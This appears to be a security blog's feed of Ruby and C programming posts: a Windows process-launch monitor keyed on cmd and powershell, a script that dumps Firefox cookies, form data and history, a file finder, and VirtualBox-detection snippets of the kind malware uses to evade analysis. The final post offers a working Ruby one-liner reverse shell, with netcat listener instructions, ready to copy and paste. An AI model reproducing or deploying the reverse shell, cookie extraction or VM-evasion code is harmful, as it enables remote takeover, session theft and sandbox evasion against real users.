ALPHA THREAT BLOGS - ProgrammingAn exemplary learning community2022-10-09T16:34:05+01:00urn:md5:697f9080651be4c051e066073eb74102DotclearADVANCE DEFENSE: PROCESS MONITORING WITH RUBYurn:md5:1b80cfe299f210ca439b94d7aa142fd82021-06-22T13:57:00+05:302021-11-29T09:54:05+05:30AlphaProgramming<p>Make you own Security Solution, get alert on new process launch. Stay tuned</p>
<p> </p> <p>Today's post can be used by System Admins and fellow friends to detect any suspicious process launch in background. Latest malwares use fileless techniques to infect the system by spawning the system processes from memory region itself.</p>
<p><strong>cmd</strong> and <strong>powershell </strong>are two such processes of high interest along with several others that need to be specially monitored.</p>
<p>Let us now prepare our machine to create an event upon such behavior. This can be achieved by starting your <strong>Local Security Policy </strong>> <strong>Local Policies > Audit Policy </strong>and setting the <strong>Audit Process Tracking</strong> setting to <strong>Success,Failure</strong></p>
<p>This setting will create an Windows event each time a process gets spawned.</p>
<figure><a class="media-link" href="https://blog.alphathreat.in/public/Eventlog/audit_process.png"><img alt="audit_process.png, Jun 2021" class="media" src="https://blog.alphathreat.in/public/Eventlog/.audit_process_m.png" /></a></figure>
<p> </p>
<p> </p>
<p> </p>
<p>These generated events with the EventId of <strong>4688 </strong>can be manually viewed from <strong>Event Viewer </strong>as shown in below screenshot</p>
<figure><a class="media-link" href="https://blog.alphathreat.in/public/Eventlog/event_viewer.png"><img alt="event_viewer.png, Jun 2021" class="media" src="https://blog.alphathreat.in/public/Eventlog/.event_viewer_m.png" /></a></figure>
<p> </p>
<p> </p>
<p> </p>
<p>All we now need to do is monitor for such generated events. We will do this by creating a program in Ruby. The program will keep an eye on these Security events and will alert us upon a new process launch</p>
<p> </p>
<p> </p>
<p>Installing required gems</p>
<pre>
gem install win32-eventlog</pre>
<p> </p>
<h3>OUR PROGRAM</h3>
<pre>
Thread.new { loop { sleep 0.01 } } # Allow Ctrl-C
require "win32/eventlog"
include Win32
log = EventLog.open('Security') do |log|
log.tail do |x|
if x.string_inserts[5].to_s.match(/cmd|powershell|calc|regedit/i) and x.event_id == 4688
p 'Process ' + x.string_inserts[5].to_s + ' initiated by ' + x.string_inserts[1]
end
end
end</pre>
<p> </p>
<p>Here we are using the code provided in the native gem library itself. We have modified it a bit to capture interesting process only <strong>(/cmd|powershell|calc|regedit/)</strong> from event logs. You can set your own programs of interest in the list</p>
<p>The code acts like a <strong>tail </strong>command under linux but for event logs.k</p>
<p>Any new entry in Security event logs will be captured and displayed as shown below. [Click on below image to see it in action]</p>
<figure><a class="media-link" href="https://blog.alphathreat.in/public/Eventlog/Event_log_viewer.gif"><img alt="Event_log_viewer.gif, Jun 2021" class="media" src="https://blog.alphathreat.in/public/Eventlog/.Event_log_viewer_m.jpg" /></a></figure>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>BROWSER PROFILE FORENSICSurn:md5:04225e747df7d123140fb45085ebd3012021-06-15T20:07:00+05:302021-08-03T22:50:31+05:30AlphaProgramming<p>This post discuss about how to read the data that your browser stores locally. This data includes cookies, forms, history, boookmarks, etc which can be used to obtain lots of information. In this post we will focus on firefox in Linux platform but the methodology will be same for all.</p> <p>Browsers require their own database and set of data to function. Various file formats are used by browsers like .sqlite, .json, .txt , etc to hold various information.</p>
<p>The profile folder location is different for different browsers. For E.G.</p>
<p> </p>
<table border="1" cellspacing="0">
<colgroup width="280">
</colgroup>
<colgroup width="256">
</colgroup>
<tbody>
<tr>
<td align="left" height="17"><b>Firefox in Linux</b></td>
<td align="left"><b>Firefox in Windows</b></td>
</tr>
<tr>
<td align="left" height="17">/home/$USER/.mozilla/firefox/{PROFILE}</td>
<td align="left">C:\Users\%USERNAME%\{PROFILE}</td>
</tr>
<tr>
<td align="left" height="17"> </td>
<td align="left"> </td>
</tr>
<tr>
<td align="left" height="17"><b>Chrome in Linux</b></td>
<td align="left"><b>Chrome in Windows</b></td>
</tr>
<tr>
<td align="left" height="32">/home/$USER/.config/google-chrome/Default</td>
<td align="left">C:\Users\%USERNAME%\AppData\Local\<br />
Google\Chrome\User Data\Default\</td>
</tr>
</tbody>
</table>
<p> </p>
<p><em>Note that when the browser is running, some of the database files will be in locked state. You have to either kill the browser or copy the files to a separate folder to make them readable. </em></p>
<p> </p>
<p>Now let us first learn about the files in profile folder</p>
<table border="1" cellspacing="0" height="337" width="589">
<colgroup width="129">
</colgroup>
<colgroup width="261">
</colgroup>
<colgroup width="184">
</colgroup>
<tbody>
<tr>
<td align="left" height="17"><b>FILENAME</b></td>
<td align="center"><b>PURPOSE</b></td>
<td style="text-align: center;"><b>CAN BE UTILISED</b></td>
</tr>
<tr>
<td align="left" height="32">extensions</td>
<td align="left">Stores the files required for extensions</td>
<td align="left">to gather list of installed<br />
Extensions</td>
</tr>
<tr>
<td align="left" height="32">cert9.db</td>
<td align="left">Sstores security certificate settings and<br />
SSL certificates imported into Firefox</td>
<td align="left">View and get installed custom Certificates</td>
</tr>
<tr>
<td align="left" height="32">formhistory.sqlite</td>
<td align="left">stores the autocomplete history from web<br />
Forms and search bars</td>
<td align="left">ther autocomplete data</td>
</tr>
<tr>
<td align="left" height="32">persdict</td>
<td align="left">stores custom words added to Firefox's<br />
Dictionary</td>
<td align="left">extra information about local Lang</td>
</tr>
<tr>
<td align="left" height="32">permission.sqlite</td>
<td align="left">Permissions assigned to website</td>
<td align="left">Check permission level</td>
</tr>
<tr>
<td align="left" height="17">places.sqlite</td>
<td align="left">history of visited sites</td>
<td align="left">Get browser history</td>
</tr>
</tbody>
</table>
<p> </p>
<p>We will now use our Ruby language to parse the interesting data from these files. Save the below code to a FILENAME.rb format</p>
<p> </p>
<pre>
require 'sqlite3'
require 'terminal-table'
require 'json'
path = './'
@extensions = path + 'extensions.json'
@cert = path + 'cert9.db'
@formhistory = path + 'formhistory.sqlite'
@persdict = path + 'persdict.dat'
@visitedsites = path + 'places.sqlite'
@cookies = path + 'cookies.sqlite'
@permfile = path + 'permissions.sqlite'
def formhistory
db = SQLite3::Database.new @formhistory
a=db.execute "SELECT fieldname, value FROM moz_formhistory"
table = Terminal::Table.new :rows => a
puts "****************FORM HISTORY****************"
puts table
puts ''
end
def extension
#Installed extensions
a=JSON.parse(File.read(@extensions))
puts "****************INSTALLED EXTENSIONS****************"
a['addons'].each{|x| p x['defaultLocale']['name']}
puts ''
end
def certificates
db = SQLite3::Database.new @cert
puts "****************INSTALLED CERTIFICATES****************"
a= db.execute "SELECT * FROM nssPublic"
a.each{|x| p x[4]}
puts ''
end
def persdictionary
puts "****************CUSTOM DICTIONARY WORDS ADDED****************"
puts File.read @persdict
puts ''
end
def historyAndBookmarks
db = SQLite3::Database.new @visitedsites
urls=db.execute "SELECT title FROM moz_places"
puts "****************VISITED WEBSITES****************"
puts urls
puts ''
puts "****************BOOKMARKS****************"
bm=db.execute "SELECT title FROM moz_bookmarks"
puts bm
end
def permission
db = SQLite3::Database.new @permfile
a=db.execute "SELECT origin,type FROM moz_perms"
a.each {|x,y| print x + " is allowed " + y; puts ''}
end
def cookies
db = SQLite3::Database.new @cookies
a=db.execute "SELECT name, host, path, value FROM moz_cookies"
table = Terminal::Table.new :rows => a
puts "****************VISITED WEBSITES****************"
puts table
puts ''
end
=begin
Uncomment the lines below one by one to see data. Uncommenting all
will give you lots of data in one go
=end
#cookies
permission
#historyAndBookmarks
#persdictionary
#certificates
#extension
#formhistory</pre>
<p> </p>
<p> </p>
<h3>CODE ANALYSIS</h3>
<p>The code is quite simple. It uses <strong>sqlite3</strong> and <strong>json</strong> libraries to read the data from the files. The <strong>terminal-table </strong>library is used to print the output in a table format</p>
<ul>
<li>The line in format <strong>SQLite3::Database.new @cookies </strong>are used to read the database files</li>
<li>The lines in format <strong>db.execute "SELECT name, host, path, value FROM moz_cookies" </strong>are used to execute the database query to print column values from defined tables</li>
</ul>
<p> </p>
<h3>EXECUTE</h3>
<p>Copy the mentioned files from profile folder and put it in same folder where you saved your script. you can also set the path variable if files are in different location</p>
<figure><img alt="files.png, Jun 2021" class="media" src="https://blog.alphathreat.in/public/Browser_profile/.files_m.png" /></figure>
<p>The last lines of the script are commented to avoid large output. SImply uncomment the line of whose output you want. In our case we are executing <strong>permission </strong>method of whose output is shown in right side terminal window</p>
<figure><img alt="execute.png, Jun 2021" class="media" src="https://blog.alphathreat.in/public/Browser_profile/execute.png" /></figure>
<p> </p>
<p> </p>FINDING MY FILES WITH RUBYurn:md5:ebb81b3f63647b6c2a04fd15941ec1822020-11-19T20:48:00+05:302021-08-03T22:57:51+05:30AlphaProgramming<p><em>Here i share code i wrote to search my study related material which was spread all over the Hard disk in multiple partitions.</em></p> <p>So I have all my learning stuff spread in multiple folders, which is nasty when i want to find something. Apart from different folders the stuff is divided in different partitions, so i spent time in finding what i need.</p>
<p>I decided to write a code and solve this problem. I made this for lnux distro which I use</p>
<p> </p>
<p><strong>INSTALLATION</strong></p>
<ul>
<li>Ruby compiler<em> (apt install ruby)</em></li>
<li>rainbow gem <em> (gem install rainbow)</em></li>
</ul>
<p> </p>
<p><strong>CODE</strong></p>
<p> </p>
<pre>
#!/usr/bin/env ruby
begin
require 'rainbow/ext/string'
rescue LoadError
puts "No gem rainbow found.\n Do gem install rainbow"
exit
end
`clear`
puts <<banner
██╗ ██╗██╗ ██╗███████╗██████╗ ███████╗██████╗ ██╗ ██╗
██║ ██║██║ ██║██╔════╝██╔══██╗██╔════╝██╔══██╗██║ ██║
██║ █╗ ██║███████║█████╗ ██████╔╝█████╗ ██████╔╝██║ ██║
██║███╗██║██╔══██║██╔══╝ ██╔══██╗██╔══╝ ██╔══██╗██║ ██║
╚███╔███╔╝██║ ██║███████╗██║ ██║███████╗██║ ██║╚██████╔╝
╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝
banner
index=[]
count=0
puts "\nEnter the Book Name".color(:green).underline
book=gets.chomp
puts ""
path=[
"/media/xcode/HDD-UID/STUDY/EBOOKS/",
"/home/SecurityOwls/Documents/STUDY/"]
path.each do |cp|
begin
Dir.chdir(cp)
rescue Exception => e
print "#{e}\n".color(:red).underline
exit
end
Dir.glob("**/*").each do |x|
y=x.split("\/")
y=y[-1]
if y=~/#{Regexp.escape book}/i
#print "Filename >>\t".color(:cyan).bright,"#{y}\n".color(:gold),"Path >>\t\t".color(:yellow),"#{cp}\/#{x}\n\n".color(:coral)
print "\[#{count}\]. Filename >>\t".color(:cyan).bright,"#{y}\t".color(:gold),"\n"
#print "\tFilepath >>\t".color(:green).bright,"#{cp}\/#{x}\n\n"
index<<"#{cp}\/#{x}"
count+=1
end
end
end
puts "Enter the index".color(:cyan).bright
bo=gets.chomp.to_i
begin
index[bo]=index[bo].gsub(" ","\\ ")
`xdg-open #{index[bo]} &`
rescue Exception
puts "INVALID\n".color(:red).underline
end
exit</pre>
<p> </p>
<p>You need to set the path array to all the locations that you want to search the files in. That is line 29 and 30 in the above code.</p>
<p> </p>
<p><strong>EXECUTE</strong></p>
<ul>
<li>Simply execute the script by SCRIPTNAME.rb</li>
<li>Enter the book name upon search.</li>
<li>Enter the index of the file, the script will open the file for you )</li>
</ul>
<p><img alt="" class="media" src="https://blog.alphathreat.in/public/Programming/Untitled.png" /></p>
<p> </p>
<p> </p>SOME WAYS TO DETECT VIRTUAL MACHINEurn:md5:a8b74499ccdefb7c56eb69ccd6ec03932020-11-15T20:26:00+05:302021-08-03T22:58:24+05:30AlphaProgramming<p>This post provides an insight on some of the methods ( C code snippets) that can be use to detect either a program is running in a Virtual Machine instance.</p>
<p><em>Source zwclose7</em></p> <p><strong>METHOD 1</strong> </p>
<pre>
HKEY HK=0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\ACPI\\DSDT\\VBOX__",0,KEY_READ,&HK)==ERROR_SUCCESS)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(1);
}</pre>
<p> </p>
<p><strong>METHOD 2: Guest Addition required</strong></p>
<pre>
HANDLE hF1=CreateFile("\\\\.\\VBoxMiniRdrDN",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
if(hF1!=INVALID_HANDLE_VALUE)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(2);
}</pre>
<p> </p>
<p><strong>METHOD 3: Guest Addition required</strong></p>
<pre>
HMODULE hM1=LoadLibrary("VBoxHook.dll");
if(hM1)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(3);
}</pre>
<p> </p>
<p><strong>METHOD 4: Guest Addition required</strong></p>
<pre>
HK=0;
if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Oracle\\VirtualBox Guest Additions",0,KEY_READ,&HK)) && HK)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
RegCloseKey(HK);
ExitProcess(4);
}</pre>
<p> </p>
<p><strong>METHOD 5</strong></p>
<pre>
HK=0;
char* subkey="SYSTEM\\CurrentControlSet\\Enum\\IDE";
if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_READ,&HK)) && HK )
{
unsigned long n_subkeys=0;
unsigned long max_subkey_length=0;
if(ERROR_SUCCESS==RegQueryInfoKey(HK,0,0,0,&n_subkeys,&max_subkey_length,0,0,0,0,0,0))
{
if(n_subkeys) //Usually n_subkeys are 2
{
char* pNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,max_subkey_length+1);
for(unsigned long i=0;i<n_subkeys;i++) //Usually n_subkeys are 2
{
memset(pNewKey,0,max_subkey_length+1);
HKEY HKK=0;
if(ERROR_SUCCESS==RegEnumKey(HK,i,pNewKey,max_subkey_length+1))
{
if((RegOpenKeyEx(HK,pNewKey,0,KEY_READ,&HKK)==ERROR_SUCCESS) && HKK)
{
unsigned long nn=0;
unsigned long maxlen=0;
RegQueryInfoKey(HKK,0,0,0,&nn,&maxlen,0,0,0,0,0,0);
char* pNewNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,maxlen+1);
if(RegEnumKey(HKK,0,pNewNewKey,maxlen+1)==ERROR_SUCCESS)
{
HKEY HKKK=0;
if(RegOpenKeyEx(HKK,pNewNewKey,0,KEY_READ,&HKKK)==ERROR_SUCCESS)
{
unsigned long size=0xFFF;
unsigned char ValName[0x1000]={0};
if(RegQueryValueEx(HKKK,"FriendlyName",0,0,ValName,&size)==ERROR_SUCCESS)
{
ToLower(ValName);
if(strstr((char*)ValName,"vbox"))
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(5);
}
}
RegCloseKey(HKKK);
}
}
LocalFree(pNewNewKey);
RegCloseKey(HKK);
}
}
}
LocalFree(pNewKey);
}
}
RegCloseKey(HK);
}</pre>
<p> </p>
<p><strong>METHOD 6</strong></p>
<pre>
HK=0;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\DESCRIPTION\\System",0,KEY_READ,&HK)==ERROR_SUCCESS)
{
unsigned long type=0;
unsigned long size=0x100;
char* systembiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
if(ERROR_SUCCESS==RegQueryValueEx(HK,"SystemBiosVersion",0,&type,(unsigned char*)systembiosversion,&size))
{
ToLower((unsigned char*)systembiosversion);
if(type==REG_SZ||type==REG_MULTI_SZ)
{
if(strstr(systembiosversion,"vbox"))
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(6);
}
}
}
LocalFree(systembiosversion);
type=0;
size=0x200;
char* videobiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
if(ERROR_SUCCESS==RegQueryValueEx(HK,"VideoBiosVersion",0,&type,(unsigned char*)videobiosversion,&size))
{
if(type==REG_MULTI_SZ)
{
char* video=videobiosversion;
while(*(unsigned char*)video)
{
ToLower((unsigned char*)video);
if(strstr(video,"oracle")||strstr(video,"virtualbox") )
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(6);
}
video=&video[strlen(video)+1];
}
}
}
LocalFree(videobiosversion);
RegCloseKey(HK);
}</pre>
<p> </p>
<p><strong>METHOD 7</strong></p>
<pre>
HANDLE hxx=CreateFile("\\\\.\\pipe\\VBoxTrayIPC",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
if(hxx!=INVALID_HANDLE_VALUE)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
CloseHandle(hxx);
ExitProcess(7);
}</pre>
<p> </p>
<p><strong>METHOD 8: Guest Addition required</strong></p>
<pre>
HWND hY1=FindWindow("VBoxTrayToolWndClass",0);
HWND hY2=FindWindow(0,"VBoxTrayToolWnd");
if(hY1 || hY2)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(8);
}</pre>
<p> </p>
<p><strong>METHOD 9</strong></p>
<pre>
unsigned long pnsize=0x1000;
char* provider=(char*)LocalAlloc(LMEM_ZEROINIT,pnsize);
int retv=WNetGetProviderName(WNNC_NET_RDR2SAMPLE,provider,&pnsize);
if(retv==NO_ERROR)
{
if(lstrcmpi(provider,"VirtualBox Shared Folders")==0)
{
MessageBox(0,"VirtualBox detected","waliedassar",0);
ExitProcess(9);
}
}</pre>RUBY ONE LINER COLORED THREADED REVERSE SHELLurn:md5:f567ae554f26e4b8155407a3ab132ca62020-10-03T19:23:00+05:302020-12-03T17:53:26+05:30AlphaProgramming<p>Develop a unique oneliner colored reverse shell in Ruby Language</p> <p>This is a simple one liner reverse shell with threading and color feature.</p>
<p>Every command gets executed in a separate thread which prevents breaking of shell due to error. Also Handles any exception and sends it to attacker side.</p>
<p>The commands sent will be shown in color and bold for a better view.</p>
<p><img src="https://blog.alphathreat.in/public/.0_m.png" alt="" /></p>
<p><strong>Description:</strong></p>
<p>1: Executing the reverse shell</p>
<p>2: Connection from Reverse shell to localhost. Notice the commands sent in color. Initiating another connection from shell (this will be executed in a separate thread thus we have two working reverse shells now)</p>
<p>3: Connection from second reverse shell.</p>
<p>4: First reverse shell still alive and working.</p>
<p><strong>CODE</strong></p>
<pre>
ruby -e 'require "socket";color=["\e[31m", "\e[32m", "\e[33m","e[34m","e[35m","e[36m"];s=TCPSocket.new("127.0.0.1", 1234);while cmd=s.gets();begin;Thread.new{IO.popen(cmd){|f| s.print("\e[0m" + f.read()+color[rand(6)]+"\e[1m")}};rescue => f;s.print(f);end;end;'
</pre>
<p><strong>USAGE</strong></p>
<p>Listen via nc -vlp 1234 on one terminal</p>
<p>On another just copy paste the above code. You will get reverse shell</p>